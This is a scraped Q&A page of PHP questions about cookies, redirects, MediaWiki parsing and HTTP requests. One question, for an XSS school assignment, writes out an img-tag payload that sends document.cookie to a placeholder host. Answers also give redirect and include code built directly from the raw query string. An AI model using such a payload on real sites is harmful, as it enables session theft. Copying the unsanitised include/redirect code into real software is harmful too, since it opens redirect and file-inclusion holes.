Pull value from PHP Cookie Array - php

I am doing some modifications for a site built primarily in ASP. However, the mods will be in PHP as the site is being moved over to that language.
When the user signs in, they are assigned cookies that look lkie so:
("mycook")("id")=23
("mycook")("pref")="HTML"
("mycook")("job")="janitor"
Now in asp, these can be referenced as:
request.cookies("mycook")("pref")
which would respond as "HTML"
Is there a similar syntax is PHP that anyone is aware of?
This doesn't seem to work:
echo $_COOKIE['mycook']['pref'];
echo $_COOKIE["mycook"]["pref"];
I saw a solution that uses a For Each -> , and I can see how that would work. But it just seems a bit of overkill (to loop through all the values just to print the one I am looking for) and I was wondering if anyone had any ideas?
Thanks in advance for your help.

In your example, your cookies will be stored as the following string in the "mycook" cookie:
["mycook"]=>string(27) "pref=HTML&job=janitor&id=23"
So to access you will need echo $_COOKIE['mycook'] then translate the url encoded string into something more useful.
parse_str($_COOKIE['mycook'], $mycook);
echo $mycook['pref'];
If you don't need to have second level cookies, just assigning as:
Response.Cookies("id")=23
Response.Cookies("pref")="HTML"
Response.Cookies("job")="janitor"
Will allow you to access the cookies in PHP with just:
echo $_COOKIE['pref'];

here is a few link that will help:
http://www.tizag.com/phpT/phpcookies.php
http://php.net/manual/en/function.setcookie.php

Related

Stuck trying to redirect urls in PHP

I've searched around and struggled to come up with a solution to this.
I've inherited a project with several thousand php files, each of which has multiple links in the form of:
<a href="_link.php?[RANDOMSTRING]">
Trouble is, I don't have the _link.php file.
I'm assuming its some kind of redirect script, as it is supposed to send the user to
RANDOMSTRING.php
when clicked.
It doesn't do anything nice like use a variable name like
_link.php?url=[RANDOMSTRING]
What code do I need to put into _link.php to just get it working for now. Its a hacky job and I'm planing a major overall and sticking all of this content into a database, but for now I just need the flatfile version running.
Cheers for your help.
Assuming that there are not actual [], then a hack is to create the file _link.php and inside, either redirect:
<?php
header("location: {$_SERVER['QUERY_STRING']}.php");
exit;
Or possibly include if that would work:
<?php
include("{$_SERVER['QUERY_STRING']}.php");
If there are actual [] then just trim them:
trim($_SERVER['QUERY_STRING'], '[]');

Pass $.variable in url

I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
&lt img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie&gt
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>

How to manually call MediaWiki to convert wiki text to HTML?

I have a MediaWiki installation and I'm writing a custom script that reads some database entries and produces a custom output for client.
However, the text are in wiki format, and I need to convert them to HTML. Is there some PHP API I could call -- well there must be, but what and how exactly?
What files to include and what to call?
You use the global object $wgParser to do this:
<?php
require(dirname(__FILE__) . '/includes/WebStart.php');
$output = $wgParser->parse(
"some ''wikitext''",
Title::newFromText('Some page title'),
new ParserOptions());
echo $output->getText();
?>
Although I have no idea whether doing it this way is a good practice, or whether there is some better way.
All I found is dumpHTML.php that will dump all your mediawiki ; or may be better API:Parser wiki text which tells :
If you are interested in simply getting the rendered content of a
page, you can bypass the api and simply add action=render to your url,
like so: /w/index.php?title=API:Parsing_wikitext&action=render
Once you add action=render it seems you can get the html page ; dont you think ?
hope this could help.
regards.

using file get contents on a url that requires post data

i need to do a "file_get_contents" on a URL and there has to be data posted to the url before the contents are retrieved. is this possible? maybe something like
$contents = file_get_contents($_POST"http://www.example.com/");
so that i can then work with the $contents variable?
You cannot*** POST data using file_get_contents, you must use something like cURL
* I mark this because it is actually possible taking advantage of the third parameter which uses http context(see example one). However it really isn't worth your trouble if you have something like cURL.
Ah, I have tried to do this. Simply put you can't unless you install new extra software on your sever and go through A LOT of hassel and server load.
Best bet is to use GET if at all possible!
:)

How does one script call another?

Suppose you have access to a script which will print or echo an ID string, given a name string, i.e., something like:
http://www.example.com/script.php?name=aNameString
outputing an ID string.
I want to create a script which will allow me to retrieve anIDString, given that I already have a variable holding aNameString, i.e., something like this pseudocode:
$name="Homer Simpson";
$id='www.example.com/script.php?name=$name';
Can you help me understand how I'd do this? ... Thanks, as always!
If you are writing code on the same domain, for security reasons you might consider the include() or require() functions instead, and implementing what you need as a function in php. This way, there is no risk to your server being fed rubbish data and crashing your application.
If you need to pull data from another script do so with care, especially a server that isn't trusted. That said, you can do it with either: http://uk.php.net/curl or http://us2.php.net/manual/en/function.file-get-contents.php, the latter of which looks easier to me.
Try requiring the file, but remember, you'll need to call the function later.
<?php
$name = 'Homer Simpson';
require 'script.php';
?>
That will make the global variable $name, accessible by script.php
However, if it isn't your server, you will need to use a tool like curl to fetch the page.
In the simplest case, you can use the HTTP wrappers to get the output:
$html = file_get_contents('http://www.example.com/script.php?name=aNameString');
and them take the $html apart, unless you meant something different by "outputing an ID string", it output raw text and not html.

Categories